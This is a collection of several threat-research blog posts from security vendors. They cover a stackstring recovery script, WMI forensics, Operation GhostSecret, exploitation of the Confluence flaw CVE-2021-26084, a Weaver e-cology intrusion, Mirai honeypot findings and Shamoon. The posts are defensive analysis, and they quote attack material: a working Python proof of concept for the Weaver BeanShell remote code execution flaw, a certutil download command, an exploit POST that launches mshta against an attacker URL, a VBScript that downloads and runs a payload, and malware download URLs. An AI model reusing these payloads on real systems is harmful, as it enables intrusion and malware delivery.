The script runs automatically on all functions, prints its results to IDA Pro's output window, and adds comments at the locations where it recovered stackstrings.
Figure 3 shows the script’s output of the recovered stackstring locations from the GandCrab sample.
Analysis of this malware takes the script about 15 seconds.
Figure 3: Deobfuscated stackstrings and locations where they were identified Figure 4 shows the disassembly listing of the stackstring creation example discussed at the beginning of this post after running ironstrings .
Figure 4:
Commented stackstring after running ironstrings After analyzing a sample, the script provides a summary and a unique listing of all recovered strings.
The output for the ransomware sample is shown in Figure 5.
Here the tool failed to analyze two functions due to invalid memory operations during Unicorn’s code emulation.
Figure 5: Script summary and unique string listing Note that you can modify various options to change the script’s behavior.
For example, you can configure the output format at the top of the ironstrings.py file.
The script’s README file explains the options in more detail.
Conclusion This blog post explains how our new IDAPython script ironstrings works and how you can use it to automatically recover stackstrings in IDA Pro.
Overcoming anti-analysis techniques is just one of many useful applications of code emulation for malware analysis.
This post shows that flare-emu provides the ideal base for this by integrating IDA Pro and Unicorn.
The detailed discussion of flare-emu ’s hook functions will help you to write your own powerful automation scripts.
Please reach out to us with questions, suggestions and feedback via the flare-emu and flare-ida GitHub issue trackers.
Subscribe to Blogs Get email updates as new blog posts are added.
Windows Management Instrumentation (WMI) is a remote management framework that enables the collection of host information, execution of code, and provides an eventing system that can respond to operating system events in real time.
FireEye has recently seen a surge in attacker use of WMI to carry out objectives such as system reconnaissance, remote code execution, persistence, lateral movement, covert data storage, and VM detection.
Defenders and forensic analysts have largely remained unaware of the value of WMI due to its relative obscurity and completely undocumented file format.
After extensive reverse engineering, the FireEye FLARE team has documented the WMI repository file format in detail, developed libraries to parse it, and formed a methodology for finding evil in the repository.
The FLARE team is now publishing a whitepaper that takes a deep dive into the architecture of WMI, reveals case studies in attacker use of WMI in the wild, describes WMI attack mitigation strategies, and shows how to mine its repository for forensic artifacts.
The document also demonstrates how to detect attacker activity in real-time by tapping into the WMI eventing system.
WMI is a valuable asset not just for system administrators and attackers, but equally so for defenders and forensic analysts.
Download a copy of the whitepaper today!
Subscribe to Blogs Get email updates as new blog posts are added.
By Raj Samani on Apr 24, 2018 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications.
This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra.
The infrastructure currently remains active.
(For an extensive analysis by the Advanced Threat Research team, see “Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide.”
The campaign is extremely complicated, leveraging a number of implants to steal information from infected systems and is intricately designed to evade detection and deceive forensic investigators.
The implants vary considerably and although they share some functionality and code, they are categorized as different families.
As McAfee Advanced Threat Research analysts investigated this campaign, we recognized many similarities to indicators used in the 2014 Sony Pictures attack.
A portion of this campaign aimed at the Turkish financial sector using the Bankshot implant was recently discovered by McAfee Advanced Threat Research analysts.
This appears to have been the initial stage of Operation GhostSecret, as within days of publication, new attacks appeared  beyond the financial sector.
Between March 14 and 18, we observed the data reconnaissance implant in organizations across 17 countries.
Delving further into this campaign reveals a narrow list of organizations across the globe; the threat actors have been explicit about who can connect from which IP address.
Reviewing the WHOIS information for these IP addresses shows us that there is some correlation in geography, although there are no additional clues why these addresses were used.
As we monitor this campaign, it is clear that the publicity associated with the (we assume) first phase of this campaign did nothing to slow the attacks.
The threat actors not only continued but also increased the scope of the attack, both in types of targets and in the tools they used.
We try to avoid using the word sophisticated because it is both subjective and overused.
Nonetheless, the attackers have significant capabilities, demonstrated by their tools development and the pace at which they operate.
Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors.
McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities.
By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.
FortiGuard Labs Threat Research Report Affected platforms: Atlassian’s Confluence Impacted parties: Confluence Server or Data Center instance Impact:
An OGNL injection vulnerability exists that would allow an unauthenticated user to execute arbitrary code Severity level: Critical Introduction of CVE-2021-26084
In August 2021, Atlassian published a security advisory about CVE-2021-26084 that could enable a threat actor to run arbitrary code on unpatched Confluence Server and Data Center instances.
FortiGuard Labs analyzed the situation and published a Threat Signal with relevant information.
After releasing the advisory, there occur massive scanning and proof-of-concept exploit code in public.
We also collect a lot attacking traffic.
In this blog we will analyze the payloads leveraging this vulnerability, deep dive into the attack and summarize the IOCs for these suspicious activities that may hint the network was affected by CVE-2021-26084.
Overview of CVE-2021-26084 Incidents In September, we observed numerous threat actors targeting this vulnerability whose goal was to download a malicious payload that would install a backdoor or miner in a user’s network.
These threats include Cryptojacking, Setag backdoor, Fileless attack that uses PowerShell in a system to execute shell without file dropped and Muhstik botnet; we will elaborate each of them in this analysis.
Although there are different attack vectors for this vulnerability, all of these attacks are targeting the parameter “queryString” which is shown in following packet capture:
Cryptojacking After exploiting CVE-2021-26084, it downloads init.sh from 86.105.195[.
]120.
The shell is a crypto miner that includes following tasks: Delete syslog Change commonly used command Stop aliyun services and apparmor Set the path for miner execution file (zzh) and itself but rename as newinit.sh Kill all other miner processes Use crontab to establish persistence Get scanning shell (is.sh) Clean the trace In the scanning shell, it will try to download a scanning tool, like Masscan, Pnscan, etc, which can be used to scan and survey IPv4 TCP network in order to discover live host to proceed the spreading.
The downloader path is shown as below.
It also downloads a shell that defines specific steps for the scan.
First, get the login brute force tool hxx (md5: f0551696774f66ad3485445d9e3f7214) and account/password list ps (md5: a43ad8a740081f0b5a89e219fe8475a3), then scan the subnet belong to private network (172.16.0.0/12, 192.168.0.0/16, 10.0.0.0/8).
This is to allow the malware to login into more devices in victim’s intranet and spread miner script (init.sh).
The entire workflow can be seen below.
Setag
The following exploit traffic was observed from IP address 86.105.195.154 (AS 3164 Astimp IT Solution SRL).
Setag, also known as BillGates or Ganiw, belongs to a well-known malware family that targets server via 1 day vulnerability.
It mainly uses UDP/SYN/ICMP/DNS floods to conduct DDoS attack.
But it also has various command can check its own status or control their victims.
The command for dos attack or controlling their victims can be seen in following rawdata:
Fileless Attack The observed packet is from 141.98.83.139 (AS 209588 Flyservers S.A.) and the main payload is b64 encoded.
The decoded data is as follow: We can see that the payload is constructed and executed via PowerShell.
The final execution will set “WindowStyle” to hidden and “CreateNoWindow” to True, which is to put itself out of sight.
We decoded those data in the middle and replace {0} and {1} with “=” and “P”, then 2nd layer payload data It defined two functions, and one variable that contain the main exploit code.
After converting the code in $sG, it will use VirtualAlloc to reserve a part of memory.
Then it uses CreateThread to invoke the malicious code.
So what exactly $sG is?
After b64 decoding, we get about 570 bytes binary data as below: To dive deep in to this, we have to check this binary by IDA.
Following the first call into loc_D6, it puts ws2_32 and move edx, 726774ch, and this is the hash value of LoadLibrary function, the detail code is as below: It is a reverse shell meterpreter shellcode that connects to exploit source 141.98.83[.
]139 via tcp port 23733.
Since the port now is closed, we only managed to capture the following packets.
But the entire attack process only leveraged PowerShell to decode layer by layer, and uses hidden window style to hide itself.
And finally, create a thread to achieve the reverse shell.
Not a single file is dropped in the entire attack, which is known as fileless attack.
Muhstik By exploiting CVE-2021-26084, it downloads conf2 from 149.28.85[.
]17.
The file will deploy and execute dk86 from 188.166.137[.
]241 and ldm script.
The attack scenario afterward is analyzed in this article , but we observed a different server IP and more attack source IP which is intended to spread conf2 of Muhstik.
Conclusion We have been tracking this vulnerability for weeks and observing massive threat exploitation targeting Atlassian Confluence.
Although the patch for CVE-2021-26084 is already released, public attacks are still undergoing.
In this post, we gave detail of those attacks and illustrate how they using the payload to deliver malware, users should upgrade the system immediately and also apply Fortiguard protection to avoid the threat probing.
Fortinet Protections For vulnerability CVE-2021-26084, Fortinet already release IPS signature Atlassian.
Confluence.
CVE-2021-26084.Remote.
Code.
Execution for it to proactive protect our customer.
For payloads described are detected and blocked by the FortiGuard AntiVirus.
The downloading URLs and attacker's IP addresses have been rated as \"Malicious Websites\" by the FortiGuard Web Filtering service.
IOC Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
This blog post covers an interesting intrusion attempt that Mandiant Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf”
files and CertUtil for obfuscated execution.
This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react.
Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.
Everybody’s Working for the Recon While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host.
Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool.
Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity.
Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host.
These commands can consist of reconnaissance activity which expose useful information about the host to the attacker.
The following is a snippet of the commands that we observed successfully executed on the host: ipconfig.exe ipconfig /all whoami.exe whoami The associated parent process that handled execution of the aforementioned listed processes was: \"\\Weaver\\jdk_new\\bin\\javaw.exe\".
FOMBs AWAY!
Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI).
They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf”
output file.
The attackers wrote their second-stage payload and compiled it with WMI.
Finally, they uploaded the compiled “.bmf”
file to their web server and modified the file to masquerade as a \".rar\" file .
Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource .
Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments: certutil  -urlcache
-split -f http://[DOMAIN]/uploads/180307/l.rar c:\\windows\\temp\\l.rar Options Description -urlcache Display or delete URL cache entries -split Split embedded ASN.1 elements, and save to files -f Force overwrite (Source: Microsoft certutil page )
FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.
Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa).
Of particular note were: cmd.exe  cmd /c mofcomp.exe C:\\Windows\\temp\\l.rar cmd.exe cmd /c del C:\\Windows\\temp\\l.rar
The aforementioned commands utilize Window's \"cmd.exe\" interpreter to run \"mofcomp.exe\" on the newly obtained \"l.rar\".
This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository , and subsequently delete the aforementioned file.
The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).
Figure 1: Proposed use of MOF files for red and blue teams We obtained the file \"l.rar\" for further analysis and observed that the file header began with \"FOMB\".
This file header when conveniently flipped is \"BMOF\", as in Binary Managed Object Format.
With this information in hand we began searching for methods to reverse the compiled binary.
Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:
On Error Resume
Next:execmydler():Function execmydler():Set P=CreateObject(\"WinHttp.
WinHttpRequest.5.1\"):P[.
]Open \"GET\",\"hxxp[://[DOMAIN]/d/dl[.]asp\",0:P[.
]Send():b=
P[.
]responseText:M=
Spli t(b,\",\",-1,1):For Each Od
In M:
Nd=Nd+Chr(Od-
2):Next:
Set P=
Nothing:
If Len(Nd)
> 10 Then:Execute(Nd):End
If:End In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI.
The aforementioned code attempts to download a second-stage payload from \"hxxp[://[DOMAIN]/d/dl[.
]asp\" when executed.
Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.
During this research period we also found an open-sourced project titled \"bmfdec\" that also decompiled BMOF files.
Uncovering the Exploit The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe.
Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami , ipconfig and the downloading of additional binaries.
However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands.
Analysis of the HTTP logs also did not uncover the initial payload.
Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.
BshServlet/` , but this was a busy server and the payload was not included in the logging, only metadata.
Example HTTP log entry '-` 2886000` 10.10.10.10` -` -` \"[23/Sep/2019:10:10:10 +0800]\"` \"POST /weaver/bsh.servlet.
BshServlet/ HTTP/1.1\"`  \"-\"' FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity.
As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence.
We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc.
While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe , the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.
.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 ... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 .... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 ..... javaw.exe
5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 ...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 ...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 ...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 ...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 ...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000
This matched our initial findings and gave us some further context.
Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date.
At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system.
We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands.
This lined up with our HTTP log analysis, yet we didn't have the payload.
String it to Weaver Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file.
Volatility has a handy feature to map the string offset to the corresponding process and virtual address.
Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.
Example POST payload: POST /weaver/bsh.servlet.
BshServlet/ HTTP/1.1 Host: x.x.x.x:88 Connection: close Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 134 bsh.script=eval .
(\"ex\"+\"ec(\\\"mshta
hxxp:// www[DOMAIN]/index[.
]hta\\\")\");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7 tBanCookie=test; Systemlanguid=7; loginidweaver=
xxx
st; Systemlanguid=7; loginidweaver=
xxx We knew this was the exploit we were looking for.
The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image.
It was making a request to BshServlet .
It was unclear if this vulnerability was known, as there was no CVE associated with the software.
Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system.
The vulnerability lies within the BeanShell component of the OA system.
The attacker could send a specially crafted payload to ’\\weaver/bsh.servlet.
BshServlet` in order to launch arbitrary commands.
The following POC script was discovered on one of the aforementioned Chinese blog sites.
MD5: 49b23c67c2a378fb8c76c348dd80ff61 import requests import sys headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko)
Version/12.0 Safari/1200.1.25', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Type': 'application/x-www-form-urlencoded' } def exploit(url,cmd): target=
url+'/weaver/bsh.servlet.
BshServlet' payload='bsh.script=eval%00(\"ex\"%2b\"ec(\\\\\"cmd+/c+{}\\\\\")\");&bsh.servlet.captureOutErr=
true&bsh.servlet.output=raw'.format(cmd) res=requests.post(url=target,data=payload,headers=headers,timeout=10) res.encoding=res.apparent_encoding print(res.text) if __name__ == '
__main__': url=sys.argv[1] while(1): cmd=input('cmd:')
exploit(url,cmd)
The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type.
The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute.
In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.
Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform.
Using this technique, we identified 28 internet facing system that are potentially vulnerable.
Conclusion This isn't a new story; Managed Defense responds to cases like this every week.
The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses.
When leveraged correctly, compiled “.bmf”
files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.
There are many procedural and technical controls that could help prevent a system being compromised.
Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging.
We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was.
Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.
A combination of controls is typically the best approach.
In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them.
Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.
Learn more about Mandiant Managed Defense here .
Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.
Weaver Build Timeline 2019-09-20:
Weaver Patch released 2019-09-20: Exploit observed in Managed Defense 2019-09-22:
Exploit POC blogged 2019-10-03:
First public mention outside China References Microsoft certutil page Microsoft mofcomp page bmfdec GitHub page Weaver Threat Alert Volatility GitHub page Subscribe to Blogs Get email updates as new blog posts are added.
FortiGuard Labs Threat Research Report Affected Platforms: Linux Impacted Users: Any organization Impact: Remote attackers gain control of the vulnerable systems Severity Level:
Critical It has been almost five years since the source code of the notorious MIRAI IoT malware was released to the public by its author in late 2016.
This event led to the emergence of numerous copycats, creating their own flavors of IoT botnet armies.
Although improvements have been constantly added since then by various threat actors, the structure and goal of the campaigns have remained the same.
IoT malware scans the Internet for IoT devices that use default or weak usernames and passwords.
They also seek to exploit known—and sometimes even zero-day —vulnerabilities to increase their chances of gaining access.
And once they do, malicious binaries are downloaded and executed that make the device part of a zombie network that could then be instructed to participate in a Distributed Denial-of-Service (DDOS) attack that could cause a service outage to an unfortunate target.
Some threat actors even sell these curated botnets as a service.
We have been closely monitoring the current state of the IoT botnet threat landscape through the perspective of an IoT device with the help of a honeypot system.
This article describes our observations over the last few weeks.
Where are These Attacks Coming From?
To simulate what it would be like for a new IoT device to be connected to the internet for the first time, we set up a fresh honeypot system to capture what kinds of attacks it would receive.
This honeypot was designed to be vulnerable to telnet credential brute force attacks.
The statistics in this article were taken from a three-week period.
On average, this honeypot system received around 200 attacks per day, ultimately recording nearly 4700 telnet connections in just three weeks.
We were then able to identify nearly 4000 of those attacks and connect them to a Mirai-related malware family.
Since this honeypot does not execute any of the downloaded binaries, most of the attacks keep retrying until their malware has executed in the system.
By removing IP duplicates, the actual number of attack sources was obtained and is broken down in the next table.
Top IoT Malware Variants Mirai variant authors use unique strings or tokens in their binaries that are used to verify whether SSH or Telnet commands were successfully executed in the device—although this could also be used by the threat actors to advertise their malware or, in some cases, simply as a placeholder for novelty messages.
The figure below shows a sequence of commands that the SORA Mirai variant executes immediately after gaining access to a device.
These strings have been heavily used by researchers over time to classify variants.
However, there are cases where variants may use different tokens but turn out to be the same malware function-wise—and are even operated by the same threat actor.
In such cases, analyzing the actual binary being downloaded into the device would greatly help further define the number of existing variants.
Based on the attacks received by the honeypot, the following table shows the top 10 variants we were able to identify.
The Enigmatic “Hajime” Hajime was dubbed as the successor to the first generation of Mirai.
Built on the same principle and goals as of its predecessor, it tries to propagate to IOT devices by means of brute-forcing credentials using a password list of common default device passwords.
However, unlike Mirai, Hajime utilizes a decentralized peer-to-peer network to issue commands to its bots.
This makes it much harder to locate the Command-and-Control (C2) server for a takedown.
Aside from its sophisticated bot network communication, it is also one of the most mysterious variants due to its vague intentions.
Commands sent to Hajime bots are in the form of structured messages that are passed along in the peer-to-peer network.
One of these commands instruct bots to download and execute binaries, internally called \"modules\".
Only the spreading module has been observed being served in the wild.
No attack or disruptive modules have been observed, and Hajime has never been associated with any disruption attacks.
Furthermore, part of its behavior is to block access to ports that are commonly targeted by other IoT malware, thereby inadvertently (or not) somewhat protecting the infected device from further infections.
Lastly, it delivers the following message to the device’s terminal: Just a white hat, securing some systems.
Important messages will be signed like this!
Hajime Author.
Contact CLOSED
Stay sharp!
It was only a matter of time before some speculated that Hajime might be the work of a real vigilante.
SYLVEON
Coming Out of Retirement?
What surprised us more was the appearance of the SYLVEON variant on the table.
In mid-2019 there was a 14-year old European IoT malware author that went by the name of “Light The Sylveon” and “Light The Leafeon”.
When we took quick look at the decrypted strings of one of the binaries we captured, the word “Leafeon” was found, creating speculation that this might be the author’s comeback.
“Light the Sylveon” co-created the destructive SILEX IoT malware, whose goal was to render vulnerable devices inoperable by running destructive commands–very similar to BrickerBot .
From the malware authors’ perspective, based on a message embedded in the malware’s binary, this was to “prevent skids to flex their skidded botnet.”
Eventually, the “Light The Sylveon” author announced through a post on his twitter account that he was going to abandon the project.
Unlike SILEX, however, SYLVEON is a conventional IoT malware that was clearly based on the Mirai source code with some added attacks.
Interestingly enough, the group greek.
Helios and a certain Thar3seller, which were a group previously associated with other IoT malware campaigns, currently claim to be the authors of this variant.
The relationship between these different authors is still unclear.
What we are certain about is that this variant is being actively operated, as also shown by recently updated binaries found in one of its download servers.
SORA - The Surviving Member of the Wicked Family
It is also interesting to see Mirai variants that were authored by the threat actor known as Wicked that we covered three years ago.
These variants include Owari, Omni, Wicked, and SORA.
Based on an interview at that time, the author stated he was going to focus on Owari and Omni while abandoning the other two variants, including SORA.
Based on our observastions, it seems that SORA has more successfully survived than its siblings.
Mirai Variant MANGA
Actively Updates its List of Targeted Vulnerabilities Aside from the honeypot, we have also been monitoring Mirai variants from other sources.
In particular, we have been closely monitoring the developments of the MANGA variant because it is one of the most active in terms of adding new exploit vectors to its list.
In fact, just a week ago, it added several more exploits, two of which are fairly recent:
OptiLink ONT1GEW GPON Remote Code Execution (formTracert function) CVE-2021-1498 (Cisco HyperFlex HX Remote Code Execution) CVE-2021-31755 (Tenda Router AC11 Remote Code Execution)
Unknown 1 (Unidentified target)
Sample request: Here is a list of other vulnerabilities this malware variant tries to exploit: Figure 14 List of other vulnerabilities being targeted by Manga Conclusion As the number of installed IoT devices continues to explode, especially given the current lack of security standards available to protect them, IoT will be a hotbed for malware operations for the foreseeable future, as we have demonstrated in this article.
And interestingly, Mirai variants are still very active in terms of attack and development.
Solutions Every artifact collected from our honeypot systems and other sources are automatically processed to ensure that our customers are protected from these attacks.
That said, the following precautions are highly recommended: As credential brute-forcing is still the primary way malwares get into IoT devices, setting usernames and passwords that are difficult to guess can go a long way towards securing them.
In addition, to protect against known vulnerabilities, always keep device software up to date.
Fortinet customers are protected by the following: Related samples are detected by FortiGuard Antivirus Downloaded URLs and identified C2s are blocked by FortiGuard Web Filtering Service.
Mentioned exploit attacks are detected using the following IPS signatures: CVE-2021-22986 - F5.iControl.
REST.Interface.
Remote.
Command.
Execution CVE-2009-4490 - Acme.thttpd.and.minihttpd.
Command.
Injection.
Vulnerability CVE-2018-10088 - XiongMai.uc-httpd.
Buffer.
Overflow CVE-2020-28188 - TerraMaster.TOS.Makecvs.
PHP.Unauthenticated.
Command.
Execution CVE-2020-25506 - D-Link.
ShareCenter.
Products.
CGI.Code.
Execution CVE-2020-29957 - D-Link.
DIR.825.Buffer.
Overflow CVE-2021-22502 - Micro.
Focus.
Operations.
Bridge.
Reporter.
Command.
Injection CVE-2021-27561/CVE-2021-27562 - Yealink.
Device.
Management.
Platform.
Command.
Injection CVE-2021-22991 - F5.BIG.IP.TMM.URI.Normalization.
Buffer.
Overflow VisualDoor RCE - Bash.
Function.
Definitions.
Remote.
Code.
Execution OptiLink ONT1GEW GPON RCE - Optilink.
GPON.Router.formTracert.
Remote.
Command.
Execution CVE-2021-1498 - Cisco.
HyperFlex.
HX.storfs-asup.
Handling.
Command.
Injection IOCs MANGA Files (SHA256) 25fcefa76d1752b40b33f353332ddb48b3bae529f0af24347ffeffc5e1acd5cd 5312cb57d8c38ab349a9d67db65c66a733758cb29eb118c958ede11a98322c8a 6075c917e2b25ff2def7cdb3019e0ad725a02387c9e1e83cb6514bd410c8f928 fd2aed69644ff8edcc501945ca5e83d548c6c346d3e92c922eeb3f5da03f9b8d 626e1a247045dff09c4b6aa5de8d9b9d1d385846306a359587f42b60d4413258 68601bae31381d2205dd16df1f2aff52592f9a9aad71ea5f60f68321c6aea579
40066f30b72b4184b33e834712832879f8814ddaf56c71f33bbaacb890c350f0 51ffd3c3e1b10b629692b3b1120c777388ae73c61469bb2926d2a70a457ea14d fee1a5ceea21f14b60f0d632a2889bf3ef81f45eb783e53ada44b9b2f8e4a4a 7df6c4d3bc4f528c5928e3ef09feb532e3407f893af02c16437e669390d6a09f eb64753c578138157eeff8ba1087a94538f1337bd4c6d09ac26806cb12ff69c1 ef57d97bffb2ef7a435fe6668d0aba12196cd91ee1cd3d5446ad525995b76b8d c9845823a32b9b5ff59f76771c90e4f23c8f94e9013051797cfd4efdf43c4d4f 1a2bc7e97c73efbbbe4a7ad0f577c2b3585f1fe15a3fdb82bd79f13906d838d0 ca9965127cfdae9e2d8b228af0ab691589ac27cc5ca17a3377de2e8551b64f9f 49e5ba121c216146cdcf63ebade1853a3710fa266f8c456e3dcee0565e6bdbb1 1bb9bda36b1d2a8963e5a2687ce4645a02805ad0ccb74a0b234cdb9503fdd8e3 f19c64746eddcd33daa30df9c9f282863ad05b22e2f143382f0ab18547cd6497 ec7f7a791e7bca70b5143bbe9064124ae05cdfc13a3c7ab295b6f555eda1ed7d Download URLs http[:]//212.192.241.72/bins/dark.mpsl http[:]//212.192.241.72/bins/dark.arm5 http[:]//212.192.241.72/bins/dark.arm6 http[:]//212.192.241.72/bins/dark.arm7 http[:]//212.192.241.72/bins/dark.x86 http[:]//212.192.241.72/bins/dark.ppc http[:]//212.192.241.72/bins/dark.mips Hajime Files (SHA256) a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
Download URLs http[:]//121.121.122.176:29641/.i http[:]//121.162.45.6:38828/.i
http[:]//125.227.193.220:38674/.i http[:]//130.164.183.217:62624/.i http[:]//14.42.160.123:19634/.i http[:]//147.234.71.142:7011/.i http[:]//171.232.247.121:63812/.i http[:]//171.247.233.69:36829/.i http[:]//175.115.103.118:8450/.i http[:]//178.116.76.54:20060/.i http[:]//183.108.201.171:32745/.i
http[:]//184.82.56.195:58027/.i http[:]//187.233.194.166:3181/.i http[:]//187.37.198.126:14552/.i http[:]//189.132.235.210:43064/.i http[:]//189.173.97.200:41775/.i http[:]//190.18.221.214:51789/.i http[:]//2.45.4.24:50436/.i http[:]//201.105.177.84:25768/.i http[:]//210.99.125.95:56779/.i http[:]//211.107.151.26:26593/.i Sample commands after gaining access: SYLVEON Files (SHA256) 2bdd553ad6485d11844c6cb68ae63f083c7f2ee6029f128a1521427e9a29aad5 311ac01e395d96f8017ef95dfa9ee8f00aa527e02cfcd207de371e04e5aed023 4a4b8fdbe2cff3547e6d808226d34cf6059d9160326326d3b90d851e602035d8 7edb2ff320e99a1b92c7fa51dcd485edbc15eb4d23520ee26ed0d42600a733a1 4bbf2dab9cce066bab887e0058150157f0417d6dceca64025ce2127a8eb584b0 208ae3086c769098f1a55ac6d88fb760571010c16f4a0e25c98ee0d33d4bdbbc fac943c6173cf183e53bea76d4f6b07dbb455ec3dc98dda71164267fc7e1dbb4 Download URLs http[:]//31.210.20.138/uwu/arm6 http[:]//31.210.20.138/uwu/ppc http[:]//31.210.20.138/arm6 http[:]//31.210.20.138/sh4 http[:]//45.153.203.219/uwu/arm6 http[:]//45.95.169.110/bins/m68k Sample commands after gaining access: Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
By Alexandre Mundo , Thomas Roccia , Jessica Saavedra-Morales and Christiaan Beek on Dec 14, 2018 Destructive malware has been employed by adversaries for years.
Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.
Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations.
When a company is impacted, the damage can be significant.
Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.
Recent attacks have demonstrated how big the damage can be.
Last year NotPetya affected several companies around the world.
Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.
Shamoon is destructive malware that McAfee has been monitoring since its appearance.
